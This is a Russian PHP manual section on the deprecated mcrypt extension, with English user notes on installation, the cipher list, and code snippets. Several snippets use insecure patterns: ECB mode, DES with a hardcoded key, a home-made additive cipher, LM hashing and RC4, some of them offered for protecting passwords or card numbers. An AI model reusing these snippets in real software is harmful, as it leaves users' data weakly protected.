Make sure you have mcrypt installed and active on your php5 install. Use "sudo apt-get install php5-mcrypt" to install, that should sort the issue.
dork 11-May-2010 10:54
On ubuntu 8 (hardy), the mcrypt library seems to be here.

/usr/lib/php5/20060613/mcrypt.so

So I just created mcrypt.ini in /etc/php5/conf.d and added this one liner.

extension=mcrypt.so
bobeck at lycos dot com 06-Jan-2010 06:32
To make sure that mcrypt doesn't fail to load when
using Windows XP , Apache 2 and php 5, even if all the required procedure to install it has been accomplished already, copy libmcrypt.dll, which is normally in the php main directory, into the php\ext directory.
kmasaryk 14-Jul-2009 05:30
Also on Ubuntu, make sure you actually have php5-mcrypt installed. You can install it with:

sudo apt-get install php5-mcrypt

If you get any errors, you may need to enable the 'universe' repository, explained here:
https://help.ubuntu.com/community/Repositories/Ubuntu
rskret at gmail dot com 28-Feb-2009 04:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

I have done as suggested by the contributor before me and copied libmcrypt.dll from F:\wamp\bin\php\PHP52~1.8
to C:\WINDOWS\system32 . This did not work on it's own. I found other advice as follows and now mcrypt is working.

OTHER ADVICE:

Go to F:\wamp\bin\php\PHP52~1.8\php.ini
change ;extension=php_mcrypt.dll
to      extension=php_mcrypt.dll
(ie. remove ; )

now go to the following 2 files and do the same:
F:\wamp\bin\php\PHP52~1.8\phpForApache.ini
F:\wamp\bin\apache\APACHE~1.11\bin\php.ini

Please adjust the directory location per your own installation.
ch0wnag3 AT gmail DOT com 21-Jul-2008 02:16
On Windows installations, for the dynamic extension (extension=php_mcrypt.dll) to load properly, you must copy libmcrypt.dll from your PHP root folder (e.g. C:\PHP) to the following location:

C:\WINDOWS\system32

With this done, the dynamic extension will load up just fine.


Требования

Эти функции работают используя » mcrypt. Для того, чтобы использовать их, загрузите libmcrypt-x.x.tar.gz из » http://mcrypt.sourceforge.net/ и следуйте инструкциям по установке.

Вам понадобится libmcrypt версии 2.5.6 или выше.

Пользователи Windows могут найти библиотеку в бинарном релизе PHP 5.2 для Windows. Бинарный релиз PHP 5.3 для Windows использует статическую версию библиотеки MCrypt, DLL-файл не нужен.

Если вы используете libmcrypt 2.4.x или выше, поддерживаются следующие дополнительные блочные алгоритмы: CAST, LOKI97, RIJNDAEL, SAFERPLUS, SERPENT, и следующие шифры потоков: ENIGMA (crypt), PANAMA, RC4 and WAKE. С libmcrypt 2.4.x или выше также доступен другой режим шифрования: nOFB.

User Contributed Notes

Vladimir Kovpak 30-Mar-2015 10:00
On linux:

sudo apt-get install php5-mcrypt
sudo php5enmod mcrypt
sudo service apache2 restart
jcwebb at dicoe dot com 08-Apr-2014 03:48
there are no instructions included with the sourceforge download.

After php 5.3 mcrypt is automatically included and enabled.
(i was looking to enable an extension)
Anonymous 22-May-2012 02:55
Both mcrypt and libmcrypt are available through the linked website.  You simply have to click the "Browse all files" or similar link once on the "development site" and not just look for the default Sourceforge download button.
Antoine 30-Nov-2010 05:53
mcrypt is built in for PHP 5.3.x on windows, you don't need to do anything with a dll anymore.
tom420 dot duhamel at gmail dot com 02-Feb-2009 09:55
If installing libmcrypt from RPM, you need both libmcrypt*.rpm and libmcrypt-devel*.rpm. I found RPMs for both were available for most platforms on this page:

http://rpmforge.net/user/packages/libmcrypt/

Also files.edin.dk does not seem to carry the win32 files anymore.


Установка

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.2.0

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/mcrypt.

User Contributed Notes

Polichism 02-Oct-2014 06:43
If you don't have a /etc/php5/conf.d directory, you can simply only do: php5enmod mcrypt

Should be working fine.
Tanner Williamson 01-Oct-2014 05:56
On Ubuntu 14.04 LTS using php5-fpm with Nginx, I had to symlink the mcrypt.ini to the correct location, and then restart php5-fpm and nginx.
#ln -s /etc/php5/mods-available/mcrypt.ini /etc/php5/fpm/conf.d/mcrypt.ini
#service php5-fpm restart
#service nginx restart
biz at svstartuplab dot com 31-Mar-2014 11:20
I needed to install mcrypt on Mac OS X Mavericks 10.9 for installing the Laravel 5 framework. I entered in the Terminal command line:

brew tap josegonzalez/homebrew-php
brew install php54 php54-mcrypt

This installed Mcrypt.  In Terminal type php -i to see a list of everything installed or for much better formatting and easier to read make a phpinfo.php page with this inside <?php phpinfo(); ?>

More help with installing on OS X:
http://stackoverflow.com/questions/14595841/installing-mcrypt-extension-for-php-on-osx-mountain-lion
Anonymous 12-Mar-2014 03:37
Note, for Ubuntu, simply installing php5-mcrypt did not get mcrypt to work. You need to execute the following commands as root to enable it:

apt-get install php5-mcrypt
mv -i /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available/
php5enmod mcrypt
service apache2 restart
trenton at rainleader dot com 03-Dec-2010 08:22
If using a Debian-based Linux system, you can run the following commands:

sudo apt-get install php5-mcrypt
sudo /etc/init.d/apache2 restart
james dot mclean at gmail dot com 12-Oct-2009 09:23
You can install Mcrypt from the PHP Source Tree as a module if you choose.

You first need to ensure you have libmcrypt, libmcrypt-devel, and mcrypt installed, then do:

# cd php-5.x.x/ext/mcrypt
# phpize
# aclocal
# ./configure
# make && make install

Enable the module by adding: 'extension=mcrypt.so' to PHP.ini.

Done!

Very handy if you need to install a single module and you may have installed PHP via RPM, but don't wish to recompile your whole PHP install.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Mcrypt
Имя | По умолчанию | Место изменения | Список изменений
mcrypt.algorithms_dir | null | PHP_INI_ALL |
mcrypt.modes_dir | null | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mcrypt.algorithms_dir string

Директория, содержащая алгоритмы. По умолчанию соответствует директориям, скомпилированным вместе с libmcrypt, обычно /usr/local/lib/libmcrypt. Смотрите mcrypt_list_algorithms() для дополнительной информации.

mcrypt.modes_dir string

Директория, содержащая режимы. По умолчанию соответствует директориям, скомпилированным вместе с libmcrypt, обычно /usr/local/lib/libmcrypt. Смотрите mcrypt_list_modes() для дополнительной информации.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

mcrypt_module_open() возвращает дескриптор шифрования.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Mcrypt может работать в четырёх режимах блочного шифрования (CBC, OFB, CFB и ECB). Если слинковано с libmcrypt-2.4.x или выше, функции также могут работать в режимах nOFB и STREAM. Ниже вы найдёте список всех поддерживаемых режимов шифрования вместе с константами, которые определены для них. Более подробно читайте Applied Cryptography by Schneier (ISBN 0-471-11709-9).

  • MCRYPT_MODE_ECB (electronic codebook) - это режим блочного шифрования, который в целом непригоден для большинства задач. Использование этого режима не рекомендовано.
  • MCRYPT_MODE_CBC (cipher block chaining) - это режим блочного шифрования, который немногим лучше ECB.
  • MCRYPT_MODE_CFB (cipher feedback, в 8-битном режиме) - это режим потокового шифрования. Рекомендуется использовать режим NCFB, а не CFB.
  • MCRYPT_MODE_OFB (output feedback, в 8-битном режиме) - это режим потокового шифрования сравнимый с CFB, но может использоваться в приложениях, нетерпимых к распространению ошибок. Рекомендуется использовать режим NOFB вместо OFB.
  • MCRYPT_MODE_NOFB (output feedback, в N-битном режиме) - сравним с режимом OFB, но оперирует полным размером блока алгоритма.
  • MCRYPT_MODE_STREAM - это дополнительный режим для подключения некоторых потоковых алгоритмов, таких как "WAKE" или "RC4".

Mcrypt поддерживает некоторые другие режимы работы для которых нет предопределённых констант. Их можно задавать с помощью строки вместо константы.

  • "ctr" (counter mode) - режим потокового шифрования.
  • "ncfb" (cipher feedback, в N-битном режиме) - сравним с режимом CFB, но оперирует полным размером блока алгоритма.

Некоторые другие режимы и константы генераторов случайных чисел:

MCRYPT_ENCRYPT (int)
MCRYPT_DECRYPT (int)
MCRYPT_DEV_RANDOM (int)
MCRYPT_DEV_URANDOM (int)
MCRYPT_RAND (int)

User Contributed Notes

Andrey Andreev 06-Mar-2014 12:03
You can just use strings instead of the constants ... they are useless and lacking for other modes that are fully supported. Here's a list:

cbc
ecb
ofb
nofb
cfb
ncfb
ctr
stream
gordon at vixo dot com 02-Feb-2013 08:17
These constants don't cover all the possible options.

There are two constants:
MCRYPT_MODE_OFB
MCRYPT_MODE_NOFB

These relate to using OFB mode in 8-bit feedback mode and using the same feedback length as the key

There is one constant
MCRYPT_MODE_CFB which uses 8-bit feedback mode

There ought to be a constant
MCRYPT_MODE_NCFB which uses the same feedback length as the key.

In fact you can just use the option 'ncfb' in mycrypt


Шифры Mcrypt

Здесь перечислены шифры, поддерживаемые модулем mcrypt. Для полного списка поддерживаемых шифров смотрите список в конце файла mcrypt.h. Главное правило API mcrypt-2.2.x API состоит в том, что доступ к шифрам из PHP осуществляется путём использования констант MCRYPT_имя_шифра. Эти константы также работают с AI libmcrypt-2.4.x и libmcrypt-2.5.x, но также можно задать шифр по имени с помощью функции mcrypt_module_open().

  • MCRYPT_3DES
  • MCRYPT_ARCFOUR_IV (только для libmcrypt > 2.4.x)
  • MCRYPT_ARCFOUR (только для libmcrypt > 2.4.x)
  • MCRYPT_BLOWFISH
  • MCRYPT_CAST_128
  • MCRYPT_CAST_256
  • MCRYPT_CRYPT
  • MCRYPT_DES
  • MCRYPT_DES_COMPAT (только для libmcrypt 2.2.x)
  • MCRYPT_ENIGMA (только для libmcrypt > 2.4.x, псевдоним для MCRYPT_CRYPT)
  • MCRYPT_GOST
  • MCRYPT_IDEA (не свободный)
  • MCRYPT_LOKI97 (только для libmcrypt > 2.4.x)
  • MCRYPT_MARS (только для libmcrypt > 2.4.x, не свободный)
  • MCRYPT_PANAMA (только для libmcrypt > 2.4.x)
  • MCRYPT_RIJNDAEL_128 (только для libmcrypt > 2.4.x)
  • MCRYPT_RIJNDAEL_192 (только для libmcrypt > 2.4.x)
  • MCRYPT_RIJNDAEL_256 (только для libmcrypt > 2.4.x)
  • MCRYPT_RC2
  • MCRYPT_RC4 (только для libmcrypt 2.2.x)
  • MCRYPT_RC6 (только для libmcrypt > 2.4.x)
  • MCRYPT_RC6_128 (только для libmcrypt 2.2.x)
  • MCRYPT_RC6_192 (только для libmcrypt 2.2.x)
  • MCRYPT_RC6_256 (только для libmcrypt 2.2.x)
  • MCRYPT_SAFER64
  • MCRYPT_SAFER128
  • MCRYPT_SAFERPLUS (только для libmcrypt > 2.4.x)
  • MCRYPT_SERPENT(только для libmcrypt > 2.4.x)
  • MCRYPT_SERPENT_128 (только для libmcrypt 2.2.x)
  • MCRYPT_SERPENT_192 (только для libmcrypt 2.2.x)
  • MCRYPT_SERPENT_256 (только для libmcrypt 2.2.x)
  • MCRYPT_SKIPJACK (только для libmcrypt > 2.4.x)
  • MCRYPT_TEAN (только для libmcrypt 2.2.x)
  • MCRYPT_THREEWAY
  • MCRYPT_TRIPLEDES (только для libmcrypt > 2.4.x)
  • MCRYPT_TWOFISH (для старых версий mcrypt 2.x или mcrypt > 2.4.x )
  • MCRYPT_TWOFISH128 (TWOFISHxxx доступен в новых версиях 2.x, но не в 2.4.x)
  • MCRYPT_TWOFISH192
  • MCRYPT_TWOFISH256
  • MCRYPT_WAKE (только для libmcrypt > 2.4.x)
  • MCRYPT_XTEA (только для libmcrypt > 2.4.x)

Вы должны (в режимах CFB и OFB) или можете (в режиме CBC) предоставить инициализирующий вектор (IV) для выбранной функции шифрования. IV должен быть уникальным и должен быть одинаковым для шифрования и дешифрования. Для данных, которые хранятся в шифрованном виде вы можете получить вывод функции для индекса, под которым данные были сохранены (например, MD5 хеш имени файла). Или вы можете передать IV вместе с зашифрованными данными (смотрите раздел 9.3 Applied Cryptography by Schneier (ISBN 0-471-11709-9)).

User Contributed Notes

dan at zaph dot com 21-Aug-2015 12:26
Interpretability:

mcrypt does not support PKCS#7 padding, it uses non-standard and insecure null padding. This means that for interoperability with most other implementations PKCS#7 padding will have to be added prior to encryption and/or removed after decryption. This is a major source of interoperability issues.

When interoperating with AES the mcrypt algorithm must be specified as MCRYPT_RIJNDAEL_128 since AES only supports a block size of 128-bits. There is often confusion that this specifies the key size which it does not.
stanislav dot eckert at vizson dot de 01-Jun-2015 05:33
The latest patents for the IDEA algorithm have expired in 2012 and the cipher is now patent-free and free to use.
Rob 31-Dec-2013 03:28
These constants can in fact be used as input to the function mcrypt_module_open() because mcrypt.php contains defines that map these constants to the appropriate string values obtained from mcrypt_list_algorithms().
Mark 29-Oct-2012 02:13
Note, these are not the names you use in the function mcrypt_module_open to specify the algorithm.

Use mcrypt_list_algorithms to get the right names to stick in there
robin 17-Dec-2010 09:41
The MCRYPT_TWOFISH constant when defined by mcrypt version 2.4.x and later is the 256 bit version of Twofish; it uses a 1-32 byte key, a 16 byte IV, and outputs 16 byte blocks in CBC mode.


Mcrypt

Содержание

  • mcrypt_create_iv — Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника
  • mcrypt_decrypt — Расшифровывает данные с заданными параметрами
  • mcrypt_enc_get_algorithms_name — Возвращает имя алгоритма
  • mcrypt_enc_get_block_size — Возвращает размер блока алгоритма
  • mcrypt_enc_get_iv_size — Возвращает размер инициализирующего вектора для алгоритма
  • mcrypt_enc_get_key_size — Возвращает максимальную допустимую длину ключа алгоритма
  • mcrypt_enc_get_modes_name — Возвращает имя используемого режима
  • mcrypt_enc_get_supported_key_sizes — Возвращает массив с допустимыми размерами ключа для используемого алгоритма
  • mcrypt_enc_is_block_algorithm_mode — Проверяет, используется ли блочный режим
  • mcrypt_enc_is_block_algorithm — Проверяет, использует ли алгоритм блочные режимы
  • mcrypt_enc_is_block_mode — Проверяет, возвращает ли текущий режим блоки
  • mcrypt_enc_self_test — Запуск самопроверки открытого модуля
  • mcrypt_encrypt — Шифрует текст с заданными параметрами
  • mcrypt_generic_deinit — Эта функция деинициализирует модуль шифрования
  • mcrypt_generic_init — Функция инициализирует все буферы, необходимые для шифрования
  • mcrypt_generic — Функция шифрует данные
  • mcrypt_get_block_size — Возвращает размер блока для указанного шифра
  • mcrypt_get_cipher_name — Получает имя указанного шифра
  • mcrypt_get_iv_size — Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима
  • mcrypt_get_key_size — Получить размер ключа заданного шифра
  • mcrypt_list_algorithms — Получить список всех поддерживаемых алгоритмов шифрования
  • mcrypt_list_modes — Получить список всех поддерживаемых режимов шифрования
  • mcrypt_module_close — Закрывает модуль mcrypt
  • mcrypt_module_get_algo_block_size — Возвращает размер блока указанного алгоритма
  • mcrypt_module_get_algo_key_size — Возвращает максимальный размер ключа открытого режима
  • mcrypt_module_get_supported_key_sizes — Возвращает список поддерживаемых размеров ключей для открытого алгоритма
  • mcrypt_module_is_block_algorithm_mode — Проверяет, является ли заданный модуль блочным или нет
  • mcrypt_module_is_block_algorithm — Проверяет, является ли заданный алгоритм блочным или нет
  • mcrypt_module_is_block_mode — Проверить, возвращает ли указанный режим данные блоками или нет
  • mcrypt_module_open — Открывает модуль шифрования с использованием указанных алгоритма и режима
  • mcrypt_module_self_test — Функция запускает самопроверку указанного модуля
  • mdecrypt_generic — Дешифровка данных

User Contributed Notes

patrickdk at patrickdk dot com 06-Aug-2010 10:30
This works completely with mysql aes, even long keys.

<?php
function mysql_aes_decrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode = MCRYPT_MODE_ECB;
    $enc = MCRYPT_RIJNDAEL_128;
    $dec = @mcrypt_decrypt($enc, $key, $val, $mode, @mcrypt_create_iv( @mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM ) );
    return rtrim($dec,(( ord(substr($dec,strlen($dec)-1,1))>=0 and ord(substr($dec, strlen($dec)-1,1))<=16)? chr(ord( substr($dec,strlen($dec)-1,1))):null));
}

function mysql_aes_encrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $key, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>
p ete postma - googlemail.com 30-Oct-2009 09:42
mcrypt module initialization failed

I found this circumstance:

usemcrypt.php:
<?php
 function protect() {
 //some mcrypt/decrypt command
 }
?>

filea.php:
<?php
include_once('usemcrypt.php');

function a() {
 protect();
} ?>

fileb.php
<?php
function b() {
  include_once('usemcrypt.php');
  protect();
}
?>

filea.php and a() work fine
fileb.php and b() will report a mcrypt module initialization failed

I am assuming you can't pull that module in on the fly. If you use a file that calls mcrypt, it has to be included at the head, not in a function.
manyagain 04-Jul-2009 08:44
if you don't have mcrypt installed, try phpseclib - http://phpseclib.sourceforge.net

includes pure-php implementations of des, 3des, rc4, aes, and rijndael.  uses mcrypt if it's available and a pure-php implementation otherwise.  it also has the distinction of having the fastest existent pure-php aes implementation as per section 3.5.5. "Speed Comparisons" of the documentation.
Rafael M. Salvioni 27-Nov-2008 04:26
The follow function is a implementation of the RC4 cypher algorithm in pure PHP code.

The function is used to encrypt and decrypt data.

<?php
/**
 * Crypt/decrypt strings with RC4 stream cypher algorithm.
 *
 * @param string $key Key
 * @param string $data Encripted/pure data
 * @see   http://pt.wikipedia.org/wiki/RC4
 * @return string
 */
function rc4($key, $data)
{
    // Store the vectors "S" has calculated
    static $SC;
    // Function to swaps values of the vector "S"
    $swap = create_function('&$v1, &$v2', '
        $v1 = $v1 ^ $v2;
        $v2 = $v1 ^ $v2;
        $v1 = $v1 ^ $v2;
    ');
    $ikey = crc32($key);
    if (!isset($SC[$ikey])) {
        // Make the vector "S", basead in the key
        $S    = range(0, 255);
        $j    = 0;
        $n    = strlen($key);
        for ($i = 0; $i < 255; $i++) {
            $char  = ord($key{$i % $n});
            $j     = ($j + $S[$i] + $char) % 256;
            $swap($S[$i], $S[$j]);
        }
        $SC[$ikey] = $S;
    } else {
        $S = $SC[$ikey];
    }
    // Crypt/decrypt the data
    $n    = strlen($data);
    $data = str_split($data, 1);
    $i    = $j = 0;
    for ($m = 0; $m < $n; $m++) {
        $i        = ($i + 1) % 256;
        $j        = ($j + $S[$i]) % 256;
        $swap($S[$i], $S[$j]);
        $char     = ord($data[$m]);
        $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
        $data[$m] = chr($char);
    }
    return implode('', $data);
}
?>
artem at it-nt dot ru 29-May-2008 12:25
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
phpknights at pookmail dot com 01-Feb-2008 01:18
The Pear class Crypt/Blowfish.php will use the mcrypt module if available but the mcrypt module is not required.

Some very easy Pear and example pseudocode to protect your data by encrypting your databases with a one-way hash and blowfish symmetric encryption.
http://en.wikibooks.org/wiki/Cryptography/Database_protection

Using a one-way hash and blowfish symmetric encryption.
1. Insert a record of John Doe in an encrypted database.
2. Get the encrypted record of user John Doe and decrypt the data.

1. Insert a record of John Doe in an encrypted database.
<?php

        require_once("Crypt/Blowfish.php"); // a Pear class

        $aRecord['email']       =       "johndoe@anisp.localhost"; // The Primary key
        $aRecord['name']        =       "John Doe";
        $aRecord['creditnr']    =       "0192733652342" ;

        // crypt - one-way encryption
        $cipher_key = crypt( $aRecord['email'] , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to encrypt the data
        $aRecord['email']       = $bf->encrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->encrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->encrypt( $aRecord['creditnr'] );

        $result = sqlInsert( $aRecord ) ;
?>

2. Get the encrypted record of user John Doe and decrypt the data.
<?php

        require_once("Crypt/Blowfish.php");  // a Pear class

        $primary_key = "johndoe@anisp.localhost";

        // crypt - one-way encryption
        $cipher_key = crypt(  $primary_key , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to ecrypt the primary key for a sql select
        $select_key = $bf->encrypt(  $primary_key ) ;

        $aRecord = sqlSelectWithPKEY( $select_key );

        // crypt_blowfish symmetric encryption to decrypt the data
        $aRecord['email']       = $bf->decrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->decrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->decrypt( $aRecord['creditnr'] );
?>

Thanks for reading this.
Kevin 23-Jan-2008 09:37
Solved Problem:

when compiling php --with-mcrypt, phpinfo() says, that mcrypt ist enabled, but
"Supported ciphers none" and
"Supported modes none"

In order to get mcrypt to work in php, you have to configure and compile the libmcrypt source package with the following options:
./configure --disable-posix-threads --enable-dynamic-loading
Ivan Frederiks 28-Apr-2007 07:03
To enable mcrypt extension under Windows you need to:
1) uncomment line "extension=php_mcrypt.dll" in php.ini
2) download libmcrypt.dll from http://files.edin.dk/php/win32/mcrypt/ and put it to System32 directory (for example C:\Windows\System32).
Tested on Windows XP+Apache 1.3.37+PHP 4.4.6 (as SAPI module!!!)

P.S.
I wrote this because I got "Cannot load mcrypt extension. Please check your PHP configuration." from phpMyAdmin when I simply uncommented "extension=php_mcrypt.dll" line.
duerra_NOT_THIS_ at pushitlive dot net 20-Sep-2006 12:56
For those of you that need to use PKCS#5 padding, the mcrypt API's for PHP do not support it.  However, you can DIY using the following:

<?php

function encrypt_something($input)
{
    $size = mcrypt_get_block_size('des', 'ecb');
    $input = pkcs5_pad($input, $size);

    $key = 'YOUR SECRET KEY HERE';
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $data = base64_encode($data);
    return $data;
}

function pkcs5_pad ($text, $blocksize)
{
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}

function pkcs5_unpad($text)
{
    $pad = ord($text{strlen($text)-1});
    if ($pad > strlen($text)) return false;
    if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) return false;
    return substr($text, 0, -1 * $pad);
}
?>
rolf at winmutt dot com 10-Mar-2006 12:19
mysql AES_ENCRYPT() compatibly function for PHP :

<?php
function mysql_aes_encrypt($val,$ky) {
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>

Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl 01-Mar-2006 01:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway 16-Feb-2006 10:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:   1.9 seconds
Encrypt in OFB:   45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com 05-Feb-2006 03:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
coz AT metamule D0T com 04-Nov-2005 05:15
If you're going to encrypt data with something like this and store it in postgres.

<?php
function encrypt($string, $key){
        $result = '';
        for($i=1; $i<=strlen($string); $i++){
            $char = substr($string, $i-1, 1);
            $keychar = substr($key, ($i % strlen($key))-1, 1);
            $char = chr(ord($char)+ord($keychar));
            $result.=$char;
        }
        return $result;
    }
?>

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz 30-Oct-2005 05:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
paul dot lewis at absolutegenius dot co dot uk 13-Jul-2005 08:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
Jurgen Schwietering 23-Nov-2004 01:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
groundzero at zuavra dot net 09-Jan-2004 05:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms 03-Oct-2003 02:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voila.
steve@itemfront dot ltd dot uk 29-Sep-2003 05:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com 31-Jul-2003 05:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

<?php
chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT));
?>
scott at boothcreek dot com 28-Mar-2002 01:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl 02-Aug-2001 06:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net 10-Feb-2000 05:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

<?php
